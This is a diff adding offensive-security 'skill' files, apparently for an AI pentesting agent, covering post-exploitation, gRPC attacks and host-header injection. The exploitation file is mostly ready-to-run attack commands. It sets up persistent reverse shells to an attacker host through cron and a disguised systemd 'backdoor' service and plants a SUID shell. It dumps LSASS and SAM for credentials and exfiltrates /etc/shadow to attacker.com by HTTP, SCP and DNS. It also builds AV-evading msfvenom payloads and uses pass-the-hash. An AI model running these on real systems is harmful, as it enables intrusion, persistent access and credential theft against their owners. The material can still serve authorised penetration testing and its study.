- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,286 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: exploitation
|
|
5
|
+
description: Post-exploitation methodology covering shell stabilization, lateral movement, persistence, credential harvesting, and container escape
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Exploitation & Post-Exploitation
|
|
9
|
+
|
|
10
|
+
Getting a shell is the beginning, not the end. This skill covers what to do after initial access: stabilize, enumerate, escalate, persist, and pivot. See also: `privilege_escalation` skill for full privesc coverage.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Shell Stabilization
|
|
15
|
+
|
|
16
|
+
Raw reverse shells are fragile. Stabilize immediately:
|
|
17
|
+
|
|
18
|
+
# Python PTY (most reliable)
|
|
19
|
+
python3 -c "import pty; pty.spawn('/bin/bash')"
|
|
20
|
+
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
|
|
21
|
+
|
|
22
|
+
# Script method
|
|
23
|
+
script /dev/null -c bash
|
|
24
|
+
|
|
25
|
+
# Socat full TTY (if socat available on target)
|
|
26
|
+
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444
|
|
27
|
+
# Target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker>:4444
|
|
28
|
+
|
|
29
|
+
### Shell Upgrade One-Liner
|
|
30
|
+
|
|
31
|
+
python3 -c "import pty;pty.spawn('/bin/bash')" && export TERM=xterm
|
|
32
|
+
|
|
33
|
+
### Fixing Terminal Size
|
|
34
|
+
|
|
35
|
+
# On attacker: stty size → get rows cols (e.g., 50 220)
|
|
36
|
+
# On target shell:
|
|
37
|
+
stty rows 50 cols 220
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Persistence
|
|
42
|
+
|
|
43
|
+
### Linux Persistence
|
|
44
|
+
|
|
45
|
+
# SSH authorized_keys
|
|
46
|
+
mkdir -p ~/.ssh && echo "<attacker_pubkey>" >> ~/.ssh/authorized_keys
|
|
47
|
+
chmod 600 ~/.ssh/authorized_keys
|
|
48
|
+
|
|
49
|
+
# Cron job (every minute callback)
|
|
50
|
+
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/<attacker>/<port> 0>&1") | crontab -
|
|
51
|
+
|
|
52
|
+
# Systemd service (if root)
|
|
53
|
+
cat > /etc/systemd/system/backdoor.service << EOF
|
|
54
|
+
[Unit]
|
|
55
|
+
Description=System Health Monitor
|
|
56
|
+
[Service]
|
|
57
|
+
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/<attacker>/<port> 0>&1"
|
|
58
|
+
Restart=always
|
|
59
|
+
RestartSec=30
|
|
60
|
+
[Install]
|
|
61
|
+
WantedBy=multi-user.target
|
|
62
|
+
EOF
|
|
63
|
+
systemctl enable backdoor && systemctl start backdoor
|
|
64
|
+
|
|
65
|
+
# SUID shell backdoor (root required)
|
|
66
|
+
cp /bin/bash /tmp/.hidden_bash
|
|
67
|
+
chmod +s /tmp/.hidden_bash
|
|
68
|
+
# Execute: /tmp/.hidden_bash -p
|
|
69
|
+
|
|
70
|
+
# LD_PRELOAD backdoor (root required)
|
|
71
|
+
# Write shared library that adds backdoor user to /etc/passwd on any process start
|
|
72
|
+
|
|
73
|
+
### Windows Persistence
|
|
74
|
+
|
|
75
|
+
# Registry Run key
|
|
76
|
+
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater \
|
|
77
|
+
/t REG_SZ /d "C:\Temp\shell.exe" /f
|
|
78
|
+
|
|
79
|
+
# Scheduled task
|
|
80
|
+
schtasks /create /tn "SystemUpdate" /tr "C:\Temp\shell.exe" \
|
|
81
|
+
/sc onlogon /ru System /f
|
|
82
|
+
|
|
83
|
+
# WMI subscription (stealthy, survives reboots)
|
|
84
|
+
# Create event filter + consumer + binding via PowerShell
|
|
85
|
+
|
|
86
|
+
# BITS job
|
|
87
|
+
bitsadmin /create /download updater
|
|
88
|
+
bitsadmin /addfile updater http://<attacker>/shell.exe C:\Temp\shell.exe
|
|
89
|
+
bitsadmin /setnotifycmdline updater C:\Temp\shell.exe NUL
|
|
90
|
+
bitsadmin /setminretrydelay updater 60
|
|
91
|
+
bitsadmin /resume updater
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Credential Harvesting
|
|
96
|
+
|
|
97
|
+
### Linux
|
|
98
|
+
|
|
99
|
+
# /etc/shadow (if readable — need root or shadow group)
|
|
100
|
+
cat /etc/shadow
|
|
101
|
+
|
|
102
|
+
# Bash/shell history
|
|
103
|
+
cat ~/.bash_history
|
|
104
|
+
cat ~/.zsh_history
|
|
105
|
+
find / -name ".*_history" 2>/dev/null
|
|
106
|
+
|
|
107
|
+
# SSH private keys
|
|
108
|
+
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | xargs ls -la 2>/dev/null
|
|
109
|
+
|
|
110
|
+
# Config files with credentials
|
|
111
|
+
find / -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null | \
|
|
112
|
+
xargs grep -lE "password|passwd|secret|key|token" 2>/dev/null
|
|
113
|
+
|
|
114
|
+
# Database configs
|
|
115
|
+
find / -name "wp-config.php" -o -name "database.yml" -o -name "settings.py" \
|
|
116
|
+
-o -name "application.properties" 2>/dev/null
|
|
117
|
+
|
|
118
|
+
# In-memory credentials (root required)
|
|
119
|
+
strings /dev/mem 2>/dev/null | grep -iE "pass|password"
|
|
120
|
+
|
|
121
|
+
### Windows Credential Extraction
|
|
122
|
+
|
|
123
|
+
# SAM/SYSTEM (local hashes)
|
|
124
|
+
reg save HKLM\SAM C:\Temp\sam.hive && reg save HKLM\SYSTEM C:\Temp\system.hive
|
|
125
|
+
# Transfer to attacker: impacket-secretsdump LOCAL -sam sam.hive -system system.hive
|
|
126
|
+
|
|
127
|
+
# LSASS dump (requires admin)
|
|
128
|
+
# Method 1: Task Manager → Details → lsass.exe → Create dump file
|
|
129
|
+
# Method 2: procdump
|
|
130
|
+
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
|
|
131
|
+
# Method 3: comsvcs.dll (no extra tool)
|
|
132
|
+
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass_pid> C:\Temp\lsass.dmp full
|
|
133
|
+
|
|
134
|
+
# Parse LSASS dump locally with Mimikatz
|
|
135
|
+
.\mimikatz.exe "sekurlsa::minidump C:\Temp\lsass.dmp" "sekurlsa::logonpasswords" "exit"
|
|
136
|
+
|
|
137
|
+
# Credential Manager
|
|
138
|
+
cmdkey /list
|
|
139
|
+
vaultcmd /listcreds:"Windows Credentials" /all
|
|
140
|
+
|
|
141
|
+
# Browser credentials (SQLite DBs)
|
|
142
|
+
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\Temp\chrome_creds.db
|
|
143
|
+
|
|
144
|
+
---
|
|
145
|
+
|
|
146
|
+
## Lateral Movement
|
|
147
|
+
|
|
148
|
+
### Linux/Unix Pivot
|
|
149
|
+
|
|
150
|
+
# SSH agent hijacking (if SSH_AUTH_SOCK in env)
|
|
151
|
+
SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx ssh user@nexthost
|
|
152
|
+
|
|
153
|
+
# SSH via compromised host (proxyjump)
|
|
154
|
+
ssh -J compromised_host target_host
|
|
155
|
+
|
|
156
|
+
# Port forwarding
|
|
157
|
+
# Local forward: access target's port 8080 via attacker's localhost:8080
|
|
158
|
+
ssh -L 8080:internal_host:80 user@pivot
|
|
159
|
+
|
|
160
|
+
# SOCKS5 proxy via SSH
|
|
161
|
+
ssh -D 9050 user@pivot
|
|
162
|
+
proxychains nmap -sT internal_network/24
|
|
163
|
+
|
|
164
|
+
# Chisel reverse proxy
|
|
165
|
+
# Attacker: chisel server -p 9999 --reverse
|
|
166
|
+
# Target: chisel client <attacker>:9999 R:socks
|
|
167
|
+
|
|
168
|
+
### Windows Lateral Movement
|
|
169
|
+
|
|
170
|
+
# PsExec
|
|
171
|
+
impacket-psexec <domain>/<user>:<pass>@<target>
|
|
172
|
+
# Or: .\PsExec.exe \\<target> -u <user> -p <pass> cmd
|
|
173
|
+
|
|
174
|
+
# WMI (stealthier than PsExec)
|
|
175
|
+
impacket-wmiexec <domain>/<user>:<pass>@<target>
|
|
176
|
+
wmic /node:<target> /user:<user> /password:<pass> process call create "cmd.exe /c <command>"
|
|
177
|
+
|
|
178
|
+
# WinRM (if open on port 5985/5986)
|
|
179
|
+
impacket-wmiexec <domain>/<user>:<pass>@<target> -codec utf-8
|
|
180
|
+
evil-winrm -i <target> -u <user> -p <pass>
|
|
181
|
+
|
|
182
|
+
# Pass-the-Hash
|
|
183
|
+
impacket-psexec <domain>/<user>@<target> -hashes :<ntlm_hash>
|
|
184
|
+
netexec smb <target> -u <user> -H <ntlm_hash> -x "whoami"
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Data Exfiltration
|
|
189
|
+
|
|
190
|
+
# via DNS (stealthy, bypasses egress filtering)
|
|
191
|
+
# Encode data in DNS labels
|
|
192
|
+
data=$(cat /etc/passwd | base64 | tr -d '\n')
|
|
193
|
+
for chunk in $(echo $data | fold -w 60); do
|
|
194
|
+
nslookup $chunk.attacker.com &>/dev/null
|
|
195
|
+
done
|
|
196
|
+
|
|
197
|
+
# via HTTP POST (fast, noisy)
|
|
198
|
+
curl -X POST https://attacker.com/upload \
|
|
199
|
+
-F "file=@/etc/shadow" \
|
|
200
|
+
-F "host=$(hostname)"
|
|
201
|
+
|
|
202
|
+
# via SCP (if SSH outbound allowed)
|
|
203
|
+
scp /etc/shadow attacker@attacker.com:/tmp/
|
|
204
|
+
|
|
205
|
+
# Windows: certutil base64 encode + HTTP
|
|
206
|
+
certutil -encodehex -f C:\Users\user\secret.txt C:\Temp\encoded.txt 4
|
|
207
|
+
curl -X POST https://attacker.com -d @C:\Temp\encoded.txt
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Payload Generation
|
|
212
|
+
|
|
213
|
+
# Linux ELF reverse shell
|
|
214
|
+
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f elf > shell.elf
|
|
215
|
+
chmod +x shell.elf
|
|
216
|
+
|
|
217
|
+
# Windows reverse shell (stageless — no internet needed from target)
|
|
218
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f exe > shell.exe
|
|
219
|
+
|
|
220
|
+
# Web shells
|
|
221
|
+
msfvenom -p php/reverse_php LHOST=<ip> LPORT=443 -f raw > shell.php
|
|
222
|
+
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=443 -f raw > shell.jsp
|
|
223
|
+
|
|
224
|
+
# Obfuscated via XOR encode (evade basic AV)
|
|
225
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f exe \
|
|
226
|
+
-e x64/xor_dynamic -i 5 > shell_enc.exe
|
|
227
|
+
|
|
228
|
+
# Listener (simple)
|
|
229
|
+
nc -lvnp 443
|
|
230
|
+
|
|
231
|
+
# Metasploit multi/handler (for staged payloads)
|
|
232
|
+
msfconsole -q -x "use exploit/multi/handler; \
|
|
233
|
+
set PAYLOAD linux/x64/shell_reverse_tcp; \
|
|
234
|
+
set LHOST <ip>; set LPORT 443; run"
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Container Escape (Quick Reference)
|
|
239
|
+
|
|
240
|
+
Full coverage in `privilege_escalation` skill. Key checks:
|
|
241
|
+
|
|
242
|
+
cat /proc/1/cgroup | grep -i docker
|
|
243
|
+
ls /.dockerenv && echo "in Docker"
|
|
244
|
+
cat /proc/self/status | grep CapEff # high value = privileged
|
|
245
|
+
|
|
246
|
+
# Privileged container — mount host
|
|
247
|
+
mount /dev/sda1 /mnt && chroot /mnt bash
|
|
248
|
+
|
|
249
|
+
# Docker socket
|
|
250
|
+
ls -la /var/run/docker.sock && \
|
|
251
|
+
docker -H unix:///var/run/docker.sock run -it --rm -v /:/mnt alpine chroot /mnt sh
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## Evidence Collection (Before Cleanup)
|
|
256
|
+
|
|
257
|
+
# System information
|
|
258
|
+
hostname; id; uname -a; ip a; netstat -tulpn > output/sysinfo.txt
|
|
259
|
+
|
|
260
|
+
# Users and auth
|
|
261
|
+
cat /etc/passwd /etc/shadow /etc/sudoers >> output/sysinfo.txt 2>/dev/null
|
|
262
|
+
|
|
263
|
+
# Network
|
|
264
|
+
arp -a; cat /etc/hosts; route -n >> output/network.txt
|
|
265
|
+
|
|
266
|
+
# Processes and services
|
|
267
|
+
ps auxf; systemctl list-units --type=service >> output/services.txt
|
|
268
|
+
|
|
269
|
+
# Interesting files found
|
|
270
|
+
find / -name "*.key" -o -name "*.pem" -o -name ".env" 2>/dev/null > output/interesting_files.txt
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## Pro Tips
|
|
275
|
+
|
|
276
|
+
1. Stabilize shell before anything else — losing a session mid-exploit is unacceptable
|
|
277
|
+
2. Persistence first, then enumerate — if connection drops, you can get back
|
|
278
|
+
3. Save every credential found immediately to output/credentials.txt — they'll be needed for lateral movement
|
|
279
|
+
4. Use OAST callbacks (curl/DNS) for blind execution confirmation before interactive shell
|
|
280
|
+
5. `env` and `.env` files are the #1 source of high-value credentials — check before anything else
|
|
281
|
+
6. Port forwarding to internal services is more valuable than a root shell that can't reach anything
|
|
282
|
+
7. Document every step — screenshot `id`, `hostname`, `ip a` — needed for report and chain of custody
|
|
283
|
+
|
|
284
|
+
## Summary
|
|
285
|
+
|
|
286
|
+
Post-exploitation is a race: stabilize → persist → harvest credentials → move laterally → escalate. Each phase feeds the next. Evidence collection at every host builds the attack chain needed for a complete pentest report.
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: grpc
|
|
5
|
+
description: Exploitation techniques for gRPC services, targeting Protobuf serialization, HTTP/2 misconfigurations, and method enumeration.
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# gRPC Vulnerabilities
|
|
9
|
+
|
|
10
|
+
gRPC is a high-performance, open-source universal RPC framework developed by Google. By default, it uses HTTP/2 for transport, Protocol Buffers (Protobuf) for the interface definition language (IDL) and data serialization, and provides features like bidirectional streaming. Because data is serialized in a binary format rather than plaintext (like JSON/XML), testing tools need specific support, and many standard Web Application Firewalls (WAFs) fail to inspect the payload accurately.
|
|
11
|
+
|
|
12
|
+
## Core Concepts & Structure
|
|
13
|
+
|
|
14
|
+
- **Protocol Buffers (Protobuf):** The schema definition language used by gRPC to define services, methods, and message types (`.proto` files). Data transmitted over the wire relies entirely on numerical field IDs and binary encoding, meaning the field names themselves are absent from the request payload.
|
|
15
|
+
- **HTTP/2 Transport:** gRPC requests are always POST requests over HTTP/2. The URI path dictates the method being invoked (`/{Service_Name}/{Method_Name}`).
|
|
16
|
+
- **Content-Type:** `application/grpc` or `application/grpc+proto`.
|
|
17
|
+
- **Server Reflection:** An optional extension that allows clients to query the server for its Protobuf definitions dynamically at runtime.
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## 1. Reconnaissance & Enumeration
|
|
22
|
+
|
|
23
|
+
The biggest hurdle in testing gRPC is understanding the structure of the binary data. Without the `.proto` file, modifying payloads blindly usually corrupts the binary structure and results in a generic `INVALID_ARGUMENT` error.
|
|
24
|
+
|
|
25
|
+
### A. Server Reflection
|
|
26
|
+
|
|
27
|
+
If the developer left gRPC Server Reflection enabled (common in development/staging, critically bad in production), you can dump the entire API schema.
|
|
28
|
+
|
|
29
|
+
**Using `grpcurl`:**
|
|
30
|
+
```bash
|
|
31
|
+
# List all available services on the target
|
|
32
|
+
grpcurl -plaintext target.com:50051 list
|
|
33
|
+
|
|
34
|
+
# List all methods within a specific service
|
|
35
|
+
grpcurl -plaintext target.com:50051 list com.example.UserService
|
|
36
|
+
|
|
37
|
+
# Describe a specific method to see expected input/output message schemas
|
|
38
|
+
grpcurl -plaintext target.com:50051 describe com.example.UserService.GetUser
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
### B. Protobuf Extraction without Reflection
|
|
42
|
+
|
|
43
|
+
If reflection is disabled, you must extract the `.proto` definitions from the client-side binary or application.
|
|
44
|
+
|
|
45
|
+
- **Web Clients (gRPC-Web):** Analyze the minified JavaScript. Search for structural maps, object definitions, or embedded `.proto` definitions. Use tools like `protobuf-inspector` or `protoc-gen-js` logic to reverse-engineer field numbers to conceptual data structures.
|
|
46
|
+
- **Mobile Apps (Android/iOS):** the `.proto` structure is compiled directly into the binary. Use decompilers (e.g., `jadx-gui` for Android) to search for classes extending `com.google.protobuf.GeneratedMessageV3`. The class names and methods reveal the API structure.
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## 2. Exploiting gRPC Endpoints
|
|
51
|
+
|
|
52
|
+
Once the schema is known (via reflection or extraction), gRPC endpoints can be tested similarly to standard REST APIs, albeit requiring different tools for payload delivery.
|
|
53
|
+
|
|
54
|
+
### A. Bypassing WAFs via Binary Serialization
|
|
55
|
+
|
|
56
|
+
Many WAFs completely fail to inspect the body of requests with `Content-Type: application/grpc`.
|
|
57
|
+
|
|
58
|
+
- **SQL Injection:** Because the data is deserialized safely into typed objects by Protobuf, generic SQLi payloads *might* bypass the parsing phase, but if that data later constructs raw SQL queries dynamically on the backend (e.g., using Hibernate `createNativeQuery` or unsafe Go SQL drivers without parameterization), SQLi is still fully possible. Inject standard SQLi payloads (`' OR 1=1 --`) via gRPC clients.
|
|
59
|
+
- **Command Injection / XSS:** Similar to SQLi, the transport layer is secure, but if the backend echoes strings to a database, command line, or returning HTML, injections are viable.
|
|
60
|
+
|
|
61
|
+
### B. Broken Object Level Authorization (BOLA/IDOR)
|
|
62
|
+
|
|
63
|
+
Protobuf relies heavily on structured identifiers.
|
|
64
|
+
|
|
65
|
+
1. Use `grpcurl` or Burp Suite to capture a valid request.
|
|
66
|
+
2. Identify ID fields (e.g., `user_id: 100`).
|
|
67
|
+
3. Modify the ID field to target another user. Because the data structure strongly enforces types (an `int32` must remain an `int32`), simply incrementing numerical IDs is highly effective.
|
|
68
|
+
4. Unlike HTTP where `?id=100&id=101` might cause parameter pollution, Protobuf handles duplicate fields based on the repeated modifier. Testing HPP requires understanding the schema.
|
|
69
|
+
|
|
70
|
+
### C. Type Confusion & Logic Flaws
|
|
71
|
+
|
|
72
|
+
Protobuf strongly types fields (int, string, bool).
|
|
73
|
+
- What happens if you submit a massive integer that causes an overflow on the backend service receiving the deserialized data?
|
|
74
|
+
- If an enum is defined (e.g., `USER = 0, ADMIN = 1`), manually craft a payload using `grpcurl` supplying an undocumented enum value (e.g., `2`) to test backend exception handling.
|
|
75
|
+
|
|
76
|
+
### D. Server-Side Request Forgery (SSRF)
|
|
77
|
+
|
|
78
|
+
If a gRPC method takes a string representing a URL or hostname (e.g., `FetchExternalImage(ImageRequest)`), test for SSRF. The backend execution is identical to standard web vulnerabilities; only the delivery mechanism is gRPC.
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## 3. HTTP/2 Specific Flaws
|
|
83
|
+
|
|
84
|
+
Because gRPC mandates HTTP/2, all HTTP/2 vulnerabilities apply to the underlying connection handling.
|
|
85
|
+
|
|
86
|
+
### A. Denial of Service (DoS)
|
|
87
|
+
|
|
88
|
+
- **HTTP/2 Request Smuggling:** If there's a reverse proxy downgrading HTTP/2 gRPC traffic to internal HTTP/1.1 REST endpoints (e.g., using envoy or grpc-gateway), test for HTTP/2 desynchronization attacks.
|
|
89
|
+
- **Rapid Reset (CVE-2023-44487):** The client sends hundreds of `HEADERS` frames to initiate streams and immediately sends `RST_STREAM` frames. The server allocates resources for the request but the client abruptly cancels, exhausting server capabilities very quickly without triggering standard rate limiters.
|
|
90
|
+
- **Max Concurrent Streams Exhaustion:** Open multiple HTTP/2 connections and max out the allowed concurrent streams per connection.
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## 4. Reverse Proxy and Gateway Issues
|
|
95
|
+
|
|
96
|
+
Often, developers use tools like `grpc-gateway` to provide a RESTful JSON API *alongside* the native gRPC API.
|
|
97
|
+
|
|
98
|
+
- **Testing Both Interfaces:** If the main application consumes gRPC directly, you should *also* test the REST gateway (if exposed). Sometimes, access controls implemented correctly on the gRPC interceptors are missing entirely on the HTTP/JSON gateway routes, or vice versa.
|
|
99
|
+
- **Header Leakage:** gRPC uses HTTP headers as "Metadata" (e.g., `grpc-metadata-authorization`). Reverse proxies might improperly forward internal metadata headers, allowing attackers to inject headers that assume administrative context.
|
|
100
|
+
|
|
101
|
+
## Tooling & Methodology
|
|
102
|
+
|
|
103
|
+
### Burp Suite Integration
|
|
104
|
+
You must install specific extensions to read and modify gRPC traffic effectively.
|
|
105
|
+
- **gRPC (Burp Extension):** Automatically decodes protobuf payloads if the server supports reflection, allowing you to edit values in standard JSON format within Repeater, and then reserializing it to binary before sending.
|
|
106
|
+
- **Black-box Protobuf editing:** If reflection is disabled, the `gRPC` extension will show field numbers (e.g., `1: "admin"`) instead of field names. You can still modify the values (e.g., changing "admin" to "root") without breaking the serialization.
|
|
107
|
+
|
|
108
|
+
### Command Line Tools
|
|
109
|
+
|
|
110
|
+
```bash
|
|
111
|
+
# grpcurl - Like cURL, but for gRPC
|
|
112
|
+
grpcurl -plaintext -d '{"user_id": "123"}' target.com:50051 com.example.UserService.DeleteUser
|
|
113
|
+
|
|
114
|
+
# ghz - A load testing tool for gRPC, excellent for testing DoS resilience
|
|
115
|
+
ghz --insecure --proto ./schema.proto --call com.example.UserService.GetUser -d '{"id": 1}' -c 50 -n 1000 target.com:50051
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
## Critical Pro Tips
|
|
119
|
+
|
|
120
|
+
1. **gRPC Status Codes vs HTTP Status Codes:** A gRPC request that fails business logic (e.g., "Account not found") will usually return an HTTP status of `200 OK`, but the gRPC-specific header `grpc-status` will be set to `5 (NOT_FOUND)` and `grpc-message` will contain the error string. Always look at the trailers, not just the HTTP status.
|
|
121
|
+
2. **Streaming Endpoints:** gRPC supports client-streaming, server-streaming, and bidirectional streaming. Tools like Burp Repeater struggle with streaming endpoints. You often need custom Python scripts using the `grpcio` library and the extracted `.proto` files to test stream-specific race conditions or logic flaws accurately.
|
|
122
|
+
3. **Authentication Metadata:** Authentication tokens (JWTs, API Keys) are almost always passed in the `authorization` metadata header, which maps directly to the HTTP header.
|
|
123
|
+
4. **Information Disclosure in Errors:** When gRPC services crash or fail validation gracefully, they tend to return highly verbose error messages in the `grpc-message` trailer, frequently leaking backend stack traces or database schema details.
|
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: host-header-injection
|
|
5
|
+
description: Host header injection — password reset poisoning, cache poisoning via Host header, SSRF via Host, routing bypass, and web cache deception using manipulated Host headers
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Host Header Injection
|
|
9
|
+
|
|
10
|
+
Host header injection = manipulating the HTTP `Host` header to poison password resets, bypass routing, perform SSRF, or poison caches. One of the most common high-severity bug bounty findings.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Detection — Testing Host Header Manipulation
|
|
15
|
+
|
|
16
|
+
# Basic test — replace Host header:
|
|
17
|
+
curl -H "Host: attacker.com" http://target.com/
|
|
18
|
+
# If response references attacker.com → vulnerable
|
|
19
|
+
|
|
20
|
+
# Add X-Forwarded-Host:
|
|
21
|
+
curl -H "Host: target.com" -H "X-Forwarded-Host: attacker.com" http://target.com/
|
|
22
|
+
curl -H "X-Forwarded-Host: attacker.com" http://target.com/
|
|
23
|
+
|
|
24
|
+
# Add X-Host:
|
|
25
|
+
curl -H "X-Host: attacker.com" http://target.com/
|
|
26
|
+
|
|
27
|
+
# Duplicate Host header:
|
|
28
|
+
curl -H "Host: target.com" -H "Host: attacker.com" http://target.com/
|
|
29
|
+
# First or last header wins depending on server
|
|
30
|
+
|
|
31
|
+
# Absolute URL bypass:
|
|
32
|
+
GET http://attacker.com/ HTTP/1.1
|
|
33
|
+
Host: target.com
|
|
34
|
+
|
|
35
|
+
# Port confusion:
|
|
36
|
+
curl -H "Host: target.com:@attacker.com" http://target.com/
|
|
37
|
+
curl -H "Host: target.com: attacker.com" http://target.com/
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Password Reset Poisoning
|
|
42
|
+
|
|
43
|
+
**Highest-impact** use case: if password reset email contains `Host` header value in reset URL:
|
|
44
|
+
|
|
45
|
+
# Test: request password reset while injecting Host:
|
|
46
|
+
curl -X POST http://target.com/forgot-password \
|
|
47
|
+
-H "Host: attacker.com" \
|
|
48
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
49
|
+
-d "email=victim@target.com"
|
|
50
|
+
|
|
51
|
+
# If email contains: "Click here to reset: https://attacker.com/reset?token=xxx"
|
|
52
|
+
# → attacker receives the reset token → account takeover
|
|
53
|
+
|
|
54
|
+
# Try with X-Forwarded-Host (often trusted more):
|
|
55
|
+
curl -X POST http://target.com/forgot-password \
|
|
56
|
+
-H "Host: target.com" \
|
|
57
|
+
-H "X-Forwarded-Host: attacker.com" \
|
|
58
|
+
-d "email=victim@target.com"
|
|
59
|
+
|
|
60
|
+
# Confirm with interactsh (OOB detection):
|
